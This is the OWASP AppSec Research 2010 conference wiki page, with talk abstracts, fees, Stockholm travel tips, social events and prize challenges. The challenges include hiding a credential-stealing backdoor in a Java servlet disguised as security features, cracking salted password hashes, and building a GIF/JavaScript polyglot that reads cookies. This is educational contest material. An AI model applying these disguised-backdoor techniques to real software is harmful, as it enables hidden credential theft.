There is a difference between what is possible and what is probable, something we often lose sight of in the world of information security. For example, a vulnerability represents a possible way for an attacker to exploit an asset, but remember not all vulnerabilities are created equal. Obviously we must also keep in mind that just because a vulnerability exists does not necessarily mean it will be exploited, or indicate by whom or to what extent. Clearly, many vulnerabilities are very serious leaving the door open to compromise of sensitive information, financial loss, brand damage, violation of industry regulations, and downtime. Some vulnerabilities are more difficult to exploit than others and therefore attract different attackers. Autonomous worms &amp;amp;amp; viruses may attack one type of issue, while a sentient targeted attacker may prefer another path. Better understanding of these factors enables us to make informed business decisions about website risk management and what is probable. &lt;br /&gt;
&lt;br /&gt;
=== [[Image:OWASP AppSec Research 2010 Presentation word.gif]] Application Security Scoreboard in the Sky  ===&lt;br /&gt;
&lt;br /&gt;
''Chris Eng, Veracode'' &lt;br /&gt;
&lt;br /&gt;
This presentation will discuss vulnerability metrics gathered from real-world applications. The statistics are derived from continuously updated data collected by Veracode’s cloud-based code analysis service. The anonymized data represents a total of nearly 1,600 applications submitted for analysis by large and small companies, commercial software providers, open source projects, and software outsourcers between February 2007 and January 2010. This is the first vulnerability analytics study of this magnitude that incorporates data from both static analysis and dynamic analysis. &lt;br /&gt;
&lt;br /&gt;
We will compare the relative security of applications by industry and origin, and we will examine detailed vulnerability distribution data in the context of taxonomies such as the OWASP Top Ten and the CWE/SANS Top 25 Programming Errors. &lt;br /&gt;
&lt;br /&gt;
== DAY 2, TRACK 3  ==&lt;br /&gt;
&lt;br /&gt;
=== [[Image:OWASP AppSec Research 2010 Research word.gif]] A Taint Mode for Python via a Library  ===&lt;br /&gt;
&lt;br /&gt;
''Juan José Conti, Universidad Tecnológica Nacional, and Alejandro Russo, Chalmers University of Technology'' &lt;br /&gt;
&lt;br /&gt;
Vulnerabilities in web applications present threats to on-line systems. SQL injection and cross-site scripting attacks are among the most common threats found nowadays. These attacks are often result of improper or none input validation. To help discover such vulnerabilities, taint analyses have been developed in popular web scripting languages like Perl, Ruby, PHP, and Python. Such analysis are often implemented as an execution monitor, where the interpreter needs to be adapted to provide a taint mode. However, modifying interpreters might be a major task in its own right. In fact, it is very probably that new releases of interpreters require to be adapted to provide a taint mode. Differently from previous approaches, we show how to provide a taint analysis for Python via a library written entirely in Python, and thus avoiding modifications in the interpreter. The concepts of classes, decorators and dynamic dispatch makes our solution lightweight, easy to use, and particularly neat. With minimal or none effort, the library can be adapted to work with different Python interpreters. &lt;br /&gt;
&lt;br /&gt;
=== [[Image:OWASP AppSec Research 2010 Research word.gif]] OPA: Language Support for a Sane, Safe and Secure Web  ===&lt;br /&gt;
&lt;br /&gt;
''David Rajchenbach-Teller and François-Régis Sinot, MLstate'' &lt;br /&gt;
&lt;br /&gt;
Web applications and services have critical needs in terms of safety, security and privacy: they need to remain available constantly and can at any time be the object of attacks by malicious and anonymous distant users attempting to take control, alter data or steal it, or cause unwanted behaviors. Unfortunately, recent history shows numerous cases of popular web applications falling victim to such attacks, despite careful attempts to secure them. &lt;br /&gt;
&lt;br /&gt;
In this paper, we introduce OPA (One Pot Application), a new platform designed to make web development sane, safe and secure. OPA provides an integrated methodology where the complete application is written with one simple language with consistent semantics, enforces safe use of the infrastructure through compile-time static checking and a novel programming paradigm suited to the web and encourages correct-by-construction development. &lt;br /&gt;
&lt;br /&gt;
=== [[Image:OWASP AppSec Research 2010 Research word.gif]] Secure the Clones: Static Enforcement of Policies for Secure Object Copying  ===&lt;br /&gt;
&lt;br /&gt;
''Thomas Jensen and David Pichardie, INRIA Rennes - Bretagne Atlantique'' &lt;br /&gt;
&lt;br /&gt;
Exchanging mutable data objects with untrusted code is a delicate matter because of the risk of creating a data space that is accessible by both a code and an attacker. Consequently, secure programming guidelines for Java stress the importance of using defensive copying before accepting or handing out references to an internal mutable object. However, implementation of a copy method (like clone()) is entirely left to the programmer. It may not provide a sufficiently deep copy of an object and is subject to overriding by a malicious sub-class. Currently no language-based mechanism supports secure object cloning. &lt;br /&gt;
&lt;br /&gt;
This paper proposes a type-based annotation system for defining modular cloning policies for class-based object-oriented programs. It provides a static enforcement mechanism that will guarantee that all classes fulfill their copying policy, even in the presence of overriding of copy methods, and establishes the semantic correctness of the overall approach. &lt;br /&gt;
&lt;br /&gt;
=== [[Image:OWASP AppSec Research 2010 Research word.gif]] Safe Wrappers and Sane Policies for Self Protecting JavaScript  ===&lt;br /&gt;
&lt;br /&gt;
''Jonas Magazinius, Phu H. Phung, and David Sands, Chalmers Univ. of Technology'' &lt;br /&gt;
&lt;br /&gt;
Phung et al (ASIACCS’09) describe a method for wrapping built-in methods of JavaScript programs in order to enforce security policies. The method is appealing because it requires neither deep transformation of the code nor browser modification. Unfortunately the implementation outlined suffers from a range of vulnerabilities, and policy construction is restrictive and error prone. In this paper we address these issues to provide a systematic way to avoid the identified vulnerabilities, and make it easier for the policy writer to construct declarative policies – i.e. policies upon which attacker code has no side effects. &lt;br /&gt;
&lt;br /&gt;
=== [[Image:OWASP AppSec Research 2010 Research word.gif]] On the Privacy of File Sharing Services  ===&lt;br /&gt;
&lt;br /&gt;
''Nick Nikiforakis, Francesco Gadaleta, Yves Younan, and Wouter Joosen, Katholieke Universiteit Leuven'' &lt;br /&gt;
&lt;br /&gt;
File sharing services are used daily by tens of thousands of people as a way of sharing files. Almost all such services, use a security-through-obscurity method of hiding the files of one user from others. For each uploaded file, the user is given a secret URL which supposedly cannot be guessed. The user can then share his uploaded file by sharing this URL with other users of his choice. Unfortunately though, a number of file sharing services are incorrectly implemented allowing an attacker to guess valid URLs of millions of files and thus allowing him to enumerate their file database and access all of the uploaded files. In this paper, we study some of these services and we record their incorrect implementations. We design automatic enumerators for two such services and a privacy-classifying module which characterises an uploaded file as private or public. Using this technique we gain access to thousands of private files ranging from private and company documents to personal photographs. We present a taxonomy of the private files found and ways that the users and services can protect themselves against such attacks. &lt;br /&gt;
&lt;br /&gt;
==== Registration  ====&lt;br /&gt;
&lt;br /&gt;
== Registration is closed  ==&lt;br /&gt;
&lt;br /&gt;
'''[http://guest.cvent.com/i.aspx?4W%2cM3%2c717e8a7c-4453-47ff-addb-721306529534 You used to click here to register :)]''' &lt;br /&gt;
&lt;br /&gt;
Note: To save on processing expenses, all fees paid for the OWASP conference are non-refundable. OWASP can accommodate transfers of registrations from one person to another, if such an adjustment becomes necessary.&lt;br /&gt;
&lt;br /&gt;
== Stay Informed ... and Tell Others  ==&lt;br /&gt;
&lt;br /&gt;
[https://lists.owasp.org/mailman/listinfo/appsec_eu_2010 People subscribed to the conference '''mailing list''']. This was the official information channel and you'd be sure to get any updates and practical info before the conference. &lt;br /&gt;
&lt;br /&gt;
[http://events.linkedin.com/OWASP-AppSec-Research-2010/pub/185990 People added the event to their '''LinkedIn''' profle] to tell all their business contacts that AppSec Research 2010 was the place to be. &lt;br /&gt;
&lt;br /&gt;
Then people got on the '''Twitter''' stream by using the tags '''#OWASP''' and '''#AppSecEU'''.&lt;br /&gt;
&lt;br /&gt;
== Conference Fees (June 23-24)  ==&lt;br /&gt;
&lt;br /&gt;
*Regular registration: €350 &lt;br /&gt;
*OWASP individual member (not just chapter member): €300 &lt;br /&gt;
*Full-time students*: €225&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;*&amp;lt;/nowiki&amp;gt; We need some kind of proof of your full-time student status. Either ask your local OWASP chapter leader to vouch for you by email to Kate.Hartmann@owasp.org, or email Kate a scanned image of your student ID (please compress the file size&amp;amp;nbsp;:). &lt;br /&gt;
&lt;br /&gt;
== Training Fee (June 21-22)  ==&lt;br /&gt;
&lt;br /&gt;
*Training fee is €990 for two days, see Training tab above&lt;br /&gt;
&lt;br /&gt;
==== Practical Info  ====&lt;br /&gt;
&lt;br /&gt;
== Tailor-Made Visitors' Guide ==&lt;br /&gt;
&lt;br /&gt;
We have tailor-made a 15-page visitors' guide to the conference and Stockholm. With this guide you'll know how to get to and from the airport, find your way to the hotel and conference, know where good bars are, know when and how to tip etc. Check it out! [http://www.owasp.org/images/e/eb/OWASP_AppSec_Research_2010_Visitors_Guide_A4.pdf pdf]&lt;br /&gt;
&lt;br /&gt;
== Swedish Wall Plugs ==&lt;br /&gt;
&lt;br /&gt;
This is how Swedish wall plugs look like (image below). The left one is not grounded and the right one is, having small metal connectors on the sides. Be sure to bring adapters, for instance like [http://international-electrical-supplies.com/sweden-plug-adapters.html these], if your's look different.&lt;br /&gt;
&lt;br /&gt;
[[Image:Swedish_wall_plugs.jpg]]&lt;br /&gt;
&lt;br /&gt;
== Weather Forecast ==&lt;br /&gt;
&lt;br /&gt;
YR.no has good coverage of the weather in Stockholm. Checkit out [http://www.yr.no/place/Sweden/Stockholm/Stockholm/ here].&lt;br /&gt;
&lt;br /&gt;
== Travel  ==&lt;br /&gt;
&lt;br /&gt;
Stockholm's foremost international airport is Arlanda (ARN). Clean and convenient speed trains will take you between Arlanda and Stockholm Central in 20 minutes. You can also fly to Stockholm Skavsta (NYO) or Stockholm Västerås (VST) where coaches take you to Stockholm Central in 1 h 20 min. &lt;br /&gt;
&lt;br /&gt;
== Accommodation  ==&lt;br /&gt;
&lt;br /&gt;
You can choose hotel/hostel freely in Stockholm but we provided three suggestions with pre-booked rooms so many OWASPers are staying there. '''Check with sites like [http://www.hotels.com hotels.com] since they might have better prices than the hotels state themselves!''' &lt;br /&gt;
&lt;br /&gt;
[[Image:Stockholm map with hotels and public transportation.jpg]] &lt;br /&gt;
&lt;br /&gt;
Subways and buses are convenient and safe and will take you right up to the venue (station/stop &amp;quot;Universitetet&amp;quot;) from these three hotels: &lt;br /&gt;
&lt;br /&gt;
'''Best Western Time Hotel'''&amp;lt;br&amp;gt; Why? Closest to the university, direct bus or subway to the conference&amp;lt;br&amp;gt; [http://www.timehotel.se/index.aspx?languageID=5 Best Western Time Hotel]&amp;lt;br&amp;gt; Single room: 1395 SEK/€145/$195&amp;lt;br&amp;gt; Double room: 1575 SEK/€160/$220&amp;lt;br&amp;gt; (Rooms were pre-booked until May 18 under code &amp;quot;G#73641 OWASP&amp;quot;)&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
'''Scandic Continental'''&amp;lt;br&amp;gt; Why? Right at the Central Station, convenient travel to and from airport, direct subway to the conference&amp;lt;br&amp;gt; [http://www.scandichotels.com/en/Hotels/Countries/Sweden/Stockholm/Hotels/Scandic-Continental-Stockholm/ Scandic Continental]&amp;lt;br&amp;gt; Single room: 1590 SEK/€165/$220&amp;lt;br&amp;gt; Double room: 1690 SEK/€175/$235&amp;lt;br&amp;gt; (Rooms were pre-booked until early May under code &amp;quot;OWASP&amp;quot;)&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
'''Fridhemsplan's Hostel'''&amp;lt;br&amp;gt; Why? Affordable stay in Stockholm's nicest hostel, direct bus to the conference&amp;lt;br&amp;gt; [http://fridhemsplan.se/?p=Main&amp;amp;c= Fridhemsplan's Hostel]&amp;lt;br&amp;gt; Rooms cost €35-€55 ($50-$80)&amp;lt;br&amp;gt; Book directly with them through their webpage. &lt;br /&gt;
&lt;br /&gt;
==== Social Events ====&lt;br /&gt;
&lt;br /&gt;
== Official Meet Up at &amp;quot;Mosebacke&amp;quot;, Tuesday, June 22  ==&lt;br /&gt;
Regardless whether you're one of the lucky ones who will attend training or you'll just attend the conference you are invited to join us at &amp;quot;Mosebacke&amp;quot; on the evening the 22nd. Mosebacke is one of Stockholm's older establishments and is beautifully situated in the south of Stockholm city (only 2 subway stations from Central Station). The official meet up time is 20:00 CEST. We plan on beverage only, but for those who don't mind spending a little extra money on food, you can reserve a table for early evening by calling +46 8 556 098 90 during 2 pm - 5 pm (work days) or with some luck by e-mailing to mosebacke@mosebacke.se.&lt;br /&gt;
&lt;br /&gt;
How will you recognize all the other OWASPers? Some of us will have OWASP-branded grey caps, some you met earlier, some you recognize from pictures, and if you hear any non-Swedish speaking male I guess chances are they're just like you - here for the AppSec conference :).&lt;br /&gt;
&lt;br /&gt;
'''What''': Informal gathering, beer etc.&amp;lt;br&amp;gt;&lt;br /&gt;
'''When''': 8 pm CEST&amp;lt;br&amp;gt;&lt;br /&gt;
'''Where''': Mosebacke, Mosebacke Torg 3 [http://maps.google.se/maps?f=q&amp;amp;source=s_q&amp;amp;hl=sv&amp;amp;geocode=&amp;amp;q=Mosebacke+Etablissement,+Stockholm&amp;amp;sll=59.320492,18.074398&amp;amp;sspn=0.024831,0.077162&amp;amp;gl=se&amp;amp;ie=UTF8&amp;amp;hq=Mosebacke&amp;amp;hnear=Mosebacke,+Mosebacke+Torg+3,+116+46+Stockholm&amp;amp;ll=59.320492,18.074398&amp;amp;spn=0.024831,0.077162&amp;amp;t=h&amp;amp;z=14&amp;amp;iwloc=A Google Maps]&amp;lt;br&amp;gt;&lt;br /&gt;
'''How to get there''': Subway to &amp;quot;Slussen&amp;quot; (2 stops from &amp;quot;T-centralen&amp;quot;), best exit towards &amp;quot;Götgatan&amp;quot;. Walk upwards but take the first left to &amp;quot;Hökens gata&amp;quot;. Straight up on that one.&amp;lt;br&amp;gt;&lt;br /&gt;
'''How to get there + short sightseeing''': Walk from &amp;quot;T-centralen&amp;quot; along &amp;quot;Drottninggatan&amp;quot; towards Old Town, then towards Slussen and Götgatan. Takes about 30 minutes.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Hope to meet you there!&lt;br /&gt;
&lt;br /&gt;
== Gala Dinner at City Hall, Wednesday, June 23  ==&lt;br /&gt;
All two-day conference attendees including sponsors are welcome to the official AppSec Gala Dinner at Stockholm City Hall on Wednesday June 23rd. We start with a drink at 6:30 pm and sit down for a three course dinner with entertainment at 7 pm. Don't be late.&lt;br /&gt;
&lt;br /&gt;
'''What''': Gala dinner, three course dinner with entertainment&amp;lt;br&amp;gt;&lt;br /&gt;
'''Clothes''': Nice pants/trousers + shirt or a suit is appropriate for men. Women have so many more choices so we opt-out of any suggestions. :)&amp;lt;br&amp;gt;&lt;br /&gt;
'''When''': 6:30 pm CEST&amp;lt;br&amp;gt;&lt;br /&gt;
'''Where''': City Hall, Ragnar Östbergs plan 1 [http://maps.google.se/maps?um=1&amp;amp;ie=UTF-8&amp;amp;q=stadshuset&amp;amp;fb=1&amp;amp;gl=se&amp;amp;hq=stadshuset&amp;amp;hnear=Stockholm&amp;amp;cid=0,0,15456533754099492758&amp;amp;ei=t8wYTJ7IGd6jOJqd6aEL&amp;amp;sa=X&amp;amp;oi=local_result&amp;amp;ct=image&amp;amp;resnum=1&amp;amp;ved=0CB0QnwIwAA Google Maps]&amp;lt;br&amp;gt;&lt;br /&gt;
'''How to get there''': Walk from Central Station / &amp;quot;T-centralen&amp;quot;). Takes about 10 minutes. Or take a taxi/cab and tell the driver &amp;quot;City Hall, please&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Whatever you do, don't skip the gala dinner!&lt;br /&gt;
&lt;br /&gt;
==== Venue  ====&lt;br /&gt;
&lt;br /&gt;
The venue for both training and conference is Aula Magna at Stockholm University.&lt;br /&gt;
&lt;br /&gt;
'''Address''' (for instance for deliveries):&amp;lt;br&amp;gt;&lt;br /&gt;
Aula Magna&amp;lt;br&amp;gt;&lt;br /&gt;
Stockholms universitet&amp;lt;br&amp;gt;&lt;br /&gt;
Frescativägen 6&amp;lt;br&amp;gt;&lt;br /&gt;
SE-106 91 Stockholm&amp;lt;br&amp;gt;&lt;br /&gt;
Sweden&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Image:AppSec Research 2010 Aula Magna.jpg]] &lt;br /&gt;
&lt;br /&gt;
==== Sponsoring  ====&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[[Image:AppSec Research 2010 Microsoft diamond sponsor.jpg|250px|Microsoft - Diamond Sponsor]] [[Image:AppSec Research 2010 Google 20k sponsor.jpg|150px|Google - Dinner Party and Expo Sponsor]] [[Image:Portwise logo.png|130px|PortWise - Gold and Badge Sponsor]] [[Image:Cybercom logo.png|100px|Cybercom - Gold Sponsor]] [[Image:Fortify logo AppSec Research 2010.png|120px|Fortify - Gold Sponsor]] [[Image:Omegapoint logo.png|110px|Omegapoint - Gold Sponsor]] [[Image:Mnemonic logo.png|100px|Mnemonic - Silver Sponsor]] [[Image:AppSec Research 2010 sponsor Nixu logo.jpg|100px|NIXU - Silver Sponsor]] [[Image:Hps_logo.png|140px|High Performance Systems - Silver Sponsor]] [[Image:AppSec Research 2010 sponsor F5 logo.jpg|70px|F5 - Silver Sponsor]] [[Image:AppSec Research 2010 sponsor Imperva logo.jpg|100px|Imperva - Silver Sponsor]] [[Image:AppSec_Research_2010_sponsor_Promon_logo.jpg|100px|Promon - Silver Sponsor]] [[Image:IIS logo.png|100px|Stiftelsen för Internetinfrastruktur - Lunch Sponsor]] [[Image:MyNethouse logo.png|100px|MyNethouse - Coffee Break Sponsor]] [[Image:AppSec Research 2010 Help Net Security sponsor.jpg|100px|Help Net Security - Media Sponsor]] [[Image:TrustwaveLogo.jpg|100px|Trustwave - Notepad sponsor]]&lt;br /&gt;
&amp;lt;/center&amp;gt; &lt;br /&gt;
We are still welcoming sponsors for OWASP AppSec Research 2010. Take the opportunity to support this year's major appsec event in Europe! The full sponsoring program is available as pdfs: &lt;br /&gt;
&lt;br /&gt;
Sponsoring program in English:&amp;amp;nbsp;[[Image:OWASP Sponsorship AppSec Research 2010 (eng).pdf]] &lt;br /&gt;
&lt;br /&gt;
Sponsoring program in Swedish:&amp;amp;nbsp;[[Image:OWASP Sponsorship AppSec Research 2010 (swe).pdf]] &lt;br /&gt;
&lt;br /&gt;
==== Challenges  ====&lt;br /&gt;
&lt;br /&gt;
=== Countdown Challenges -- Free Tickets to Win!  ===&lt;br /&gt;
&lt;br /&gt;
There will be a challenge posted on the conference wiki page the 21st every month up until the event. The winner will get free entrance to the conference. Be sure to sign up for [https://lists.owasp.org/mailman/listinfo/appsec_eu_2010 the conference mailing list] to get a monthly reminder.&lt;br /&gt;
&lt;br /&gt;
== AppSec Research Final Challenge: Internet Treasure Hunt  ==&lt;br /&gt;
&lt;br /&gt;
It's May 21st, one month to AppSec Research 2010, and '''the last chance to win a free ticket''' to this year's number one conference in appsec.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''The Treasure Hunt in a Nutshell'''&amp;lt;br&amp;gt;&lt;br /&gt;
Your mission is to find several small AppSec Research logotypes hidden among the websites of our sponsors and hosts. Every logo found is associated with a keyword (a dictionary word) in some way. When you've found all the keywords you email them to us.&lt;br /&gt;
&lt;br /&gt;
[[Image:Owasp_appsec_research_2010_logo_by_daniel_kozlowski.jpg|40px|OWASP AppSec Research 2010 logo by Daniel Kozlowski]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Instructions'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Please don't do anything malicious during your hunt. And don't produce considerable load on the websites. You should be able to find the keywords anyway :).&lt;br /&gt;
* To check if you found all keywords you compare the md5 of all keywords concatenated in alphabetical order with this hash: 1a7b54ba9cee6cccd9890e7800b83208&lt;br /&gt;
* You can calculate the hash by doing the following in a shell: echo &amp;quot;Keywords concatenated in alphabetical order&amp;quot; | md5&lt;br /&gt;
* To ensure your hash function produces the same as our you can try: echo &amp;quot;owasp&amp;quot; | md5 ... which should result in the hash 2bdce47b1a6c527b134d4b658b033702&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''How to Win'''&amp;lt;br&amp;gt;&lt;br /&gt;
To win you email all keywords (not the hash) concatenated in alphabetical order to stefan dot pettersson at owasp dot org. Stefan will let you know if you were the first one with the correct answer!&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Example:'''&amp;lt;br&amp;gt;&lt;br /&gt;
* You found three logos and the keywords were: golf, king, apple&lt;br /&gt;
* You calculate the hash by doing: echo &amp;quot;applegolfking&amp;quot; | md5&lt;br /&gt;
* If the hash matches 1a7b54ba9cee6cccd9890e7800b83208 you email applegolfking to Stefan.&lt;br /&gt;
&lt;br /&gt;
Let the best hunter win!&lt;br /&gt;
&lt;br /&gt;
== AppSec Research Challenge 11: Share Your OWASP AppSec Postcards  ==&lt;br /&gt;
&lt;br /&gt;
Here's the second last chance to win a free ticket to the conference. This time we challenge you to create OWASP AppSec Research Postcards (digital ones of course) from nice places throughout the world hold a paper like the picture below.&lt;br /&gt;
&lt;br /&gt;
[[Image:OWASP_AppSec_Research_2010_Postcard_Challenge.jpg‎]]&lt;br /&gt;
&lt;br /&gt;
== How to Win ==&lt;br /&gt;
Create and share the most &amp;quot;digital postcards&amp;quot; showing you, the conference logo on paper ([http://www.owasp.org/images/5/52/OWASP_AppSec_Research_2010_Postcard_Challenge.pdf pdf]), and ...&lt;br /&gt;
&lt;br /&gt;
* Your work office or &amp;quot;computer room&amp;quot; at home: 1 point&lt;br /&gt;
* A major city (&amp;gt; 1 million inhabitants) with the city sign &amp;quot;Welcome to ...&amp;quot;: 2 points&lt;br /&gt;
* On a continent which you don't live: 2 points&lt;br /&gt;
* Under water (outside, not in a pool or a bathtub): 2 points&lt;br /&gt;
* A capital city with a typical sight, e g The Eiffel Tower in Paris: 3 points&lt;br /&gt;
* With someone from our &amp;quot;Who's Who in Security&amp;quot; challenge holding the logo: 3 points&lt;br /&gt;
* With an international celebrity holding the logo: 5 points&lt;br /&gt;
* 4,000 meters or more above sea level, not flying: 6 points&lt;br /&gt;
* With Chuck Norris, Mr. T, or Paris Hilton: 30 points&lt;br /&gt;
&lt;br /&gt;
You get points for every unique postcard, meaning once under water, once in a specific city, once with a unique celebrity, once per mountain above 4,000 meters etc. If you combine categories you get the sum of the points. Most points by May 20th wins a free conference ticket!&lt;br /&gt;
&lt;br /&gt;
== How to Compete ==&lt;br /&gt;
Share your postcards on http://www.Flickr.com following this example (3 points for Eiffel Tower in Paris):&lt;br /&gt;
&lt;br /&gt;
* '''Photo''' of you, the conference logo on paper using [http://www.owasp.org/images/5/52/OWASP_AppSec_Research_2010_Postcard_Challenge.pdf this pdf], and the Eiffel Tower in the background&lt;br /&gt;
* '''Title''': OWASP Challenge Postcard Paris&lt;br /&gt;
* '''Description''': Capital city Paris, typical site The Eiffel Tower, 3 points&lt;br /&gt;
* '''Tag''': #AppSecEu&lt;br /&gt;
&lt;br /&gt;
== AppSec Research Challenge X: Build an Enterprise Java Rootkit ==&lt;br /&gt;
&lt;br /&gt;
The tenth challenge is here! &lt;br /&gt;
&lt;br /&gt;
Jeff Williams, chairman of OWASP, gave a very interesting talk at last year's Black Hat US and OWASP AppSec US -- [http://www.blackhat.com/presentations/bh-usa-09/WILLIAMS/BHUSA09-Williams-EnterpriseJavaRootkits-PAPER.pdf &amp;quot;Enterprise Java Rootkits -- Hardly Anyone Watches the Developers&amp;quot;]. Now it's time for you to write a rootkit yourself, exploring Jeff's techniques and more. &lt;br /&gt;
&lt;br /&gt;
'''The Project to Fool'''&amp;lt;br&amp;gt; Your assignment is to be the evil developer who implements and hides a backdoor in a Java servlet. We've implemented a very simple login web application and exported the Eclipse project ([http://www.owasp.org/images/1/16/OWASP_AppSec_Research_2010_Challenge_X.zip zip here]). We will use this project to evaluate your submissions. It's a simple servlet/jsp project that we deployed on Tomcat 6.0. It even contains an evil output of user credentials to a temp file (not yet hidden though) to get you started. Screenshot from the app and the project structure: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt; [[Image:Appsec research 2010 challenge X eclipse project.jpg]] [[Image:Appsec research 2010 challenge X login screen.jpg]] &lt;br /&gt;
&lt;br /&gt;
'''Rules'''&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
*You must explain what your changes do (we need to evaluate your rootkit!) &lt;br /&gt;
*The original features + look and feel must be preserved &lt;br /&gt;
*Your additions should preferably look like security features such as IP whitelisting, logging, anti-CSRF, frequency blocking etc. &lt;br /&gt;
*You're only allowed to change the servlet (Login.java), and the gif image (appsec_research_challenge_X.gif) &lt;br /&gt;
*You do not have to use the jsps &lt;br /&gt;
*The original size of Login.java is 1,856 bytes and it mustn't grow to more than 4,000 bytes &lt;br /&gt;
*The gif image mustn't grow in size and should look close enough to the original to fool the committee &lt;br /&gt;
*Code should &amp;quot;look&amp;quot; readable, i e not minimized too heavily&lt;br /&gt;
&lt;br /&gt;
'''How To Win'''&amp;lt;br&amp;gt; The organization committee will evaluate who has been able to hide the most evil stuff while complying to the rules. The more malicious functionality and the more clever disguise -- the more &amp;quot;points&amp;quot;. All submissions must be posted as links or pasted code in [http://sla.ckers.org/forum/read.php?11,33928 this sla.ckers.org thread]. Send an email to john.wilander@owasp.org when you post code or need attention. Deadline April 20. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
== AppSec Research Challenge 9: Crack 'Em Hashes (closed)  ==&lt;br /&gt;
&lt;br /&gt;
February's AppSec Research 2010 challenge is about breaking hashed passwords. It starts off easy with the old LM hash and ends with SHA256 and GOST3411. &lt;br /&gt;
&lt;br /&gt;
[[Image:Owasp appsec research 2010 hash challenge.jpg]] &lt;br /&gt;
&lt;br /&gt;
'''How To Win'''&amp;lt;br&amp;gt; The first one to publish each broken password gets points according to the table below but at the same time helps the others since the password is the salt of the next hash. So you have to decide -- should you publish your cracked password and collect your points before the others or should you keep it a secret to get a head start cracking the next one? Deadline it March 21st. &lt;br /&gt;
&lt;br /&gt;
To collect points for a password you must be the first one to publish that broken password on [http://sla.ckers.org/forum/read.php?11,33533 this sla.ckers.org thread]. Please send an email to john.wilander@owasp.org at the same time so we can correct any misunderstandings. For instance we can happen to run into hash collisions, where someone finds another mixed alpha password of max 5 characters that concatenated with the right salt produces the same hash. In such a case we will publish the real password and give points to the one who found the collision. &lt;br /&gt;
&lt;br /&gt;
The one with the most points on March 21st wins a free ticket to the conference! &lt;br /&gt;
&lt;br /&gt;
'''Points to Earn'''&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
*pwd1 (LM) =&amp;amp;gt; 1 point &lt;br /&gt;
*pwd2 (MD2) =&amp;amp;gt; 3 points &lt;br /&gt;
*pwd3 (MD4) =&amp;amp;gt; 5 points &lt;br /&gt;
*pwd4 (MD5) =&amp;amp;gt; 9 points &lt;br /&gt;
*pwd5 (RIPEMD160) =&amp;amp;gt; 15 points &lt;br /&gt;
*pwd6 (SHA1) =&amp;amp;gt; 25 points &lt;br /&gt;
*pwd7 (SHA256) =&amp;amp;gt; 50 points &lt;br /&gt;
*pwd8 (GOST3411) =&amp;amp;gt; 100 points&lt;br /&gt;
&lt;br /&gt;
'''The Hashes'''&amp;lt;br&amp;gt; Each password comprises of a-zA-Z (mixed alpha) and is max 5 characters long. With salt that means max 10 mixed alpha characters as input to the hash function. All hashes here are in hex format. The Java source code has all the details. The plus operator means string concatenation. &lt;br /&gt;
&lt;br /&gt;
*LM(pwd1) 0C04DACA901299DBAAD3B435B51404EE &lt;br /&gt;
*MD2(pwd2 + pwd1) 16189F5462BF906E9D88CF6F152DE86F &lt;br /&gt;
*MD4(pwd3 + pwd2) FA8F46A6D347087D6980C3FA77DD4DE9 &lt;br /&gt;
*MD5(pwd4 + pwd3) 425B33D6F60394C897B8413B5C185845 &lt;br /&gt;
*RIPEMD160(pwd5 + pwd4) 35F34671D30472D403937820DCABC1C78C837071 &lt;br /&gt;
*SHA1(pwd6 + pwd5) AE81A30510B2931921934218636B26A803330EB1 &lt;br /&gt;
*SHA256(pwd7 + pwd6) B2FF0269E927C6559804A37590A0688C45DF143F85CEE0E3F239F846B65C9644 &lt;br /&gt;
*GOST3411(pwd8 + pwd7) 16CC9F1FF65688E040F5ADA82A41A258FF948769CDA4C4A17D85228A6F358971&lt;br /&gt;
&lt;br /&gt;
Example: Given that pwd1 is &amp;quot;Win&amp;quot; and pwd2 is &amp;quot;You&amp;quot;, the hash 16189F5462BF906E9D88CF6F152DE86F is the result of MD2(&amp;quot;YouWin&amp;quot;). Now pwd2 will be the salt when you crack pwd3. &lt;br /&gt;
&lt;br /&gt;
'''The Source Code'''&amp;lt;br&amp;gt; The source code we've used to produce the hashes is available here [http://www.owasp.org/images/7/79/OwapsAppSecResearch2010HashChallenge.zip zip]. It's Java and all but the LM hash is done with [http://www.bouncycastle.org/latest_releases.html Bouncy Castle 1.4.5]. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
== AppSec Research Challenge 8: Construct an OWASP Polyglot (closed)  ==&lt;br /&gt;
&lt;br /&gt;
January's AppSec Research Challenge is to construct an OWASP polyglot, more specifically '''an OWASP logo that also can be run as JavaScript''': &lt;br /&gt;
&lt;br /&gt;
Show image: &amp;amp;lt;img src=&amp;quot;owasp_logo.gif&amp;quot;&amp;amp;gt;&amp;lt;br&amp;gt;Run script: &amp;amp;lt;script src=&amp;quot;owasp_logo.gif&amp;quot;&amp;amp;gt;&amp;amp;lt;/script&amp;amp;gt; &lt;br /&gt;
&lt;br /&gt;
[http://en.wikipedia.org/wiki/Polyglot_(computing) Wikipedia] says: &amp;quot;a ''polyglot'' is a computer program or script written in a valid form of multiple programming languages&amp;quot;. This is about as cool as it gets&amp;amp;nbsp;:). &lt;br /&gt;
&lt;br /&gt;
'''Rules''' &lt;br /&gt;
&lt;br /&gt;
*Make your polyglot out of the regular OWASP logo in the upper left corner of this wiki (circle with the wasp). &lt;br /&gt;
*The file size must not grow. &lt;br /&gt;
*Pixel colors in the gif must not differ more than 5 in red, green, or blue. Ex: If a pixel originally had rgb 100,100,100 then 104,95,96 is OK. &lt;br /&gt;
*No malicious stuff of course &lt;br /&gt;
*When your polyglot is run as JavaScript it should execute as many of the following features as possible, starting from the top:&lt;br /&gt;
&lt;br /&gt;
#alert(all cookies belonging to the current domain); &lt;br /&gt;
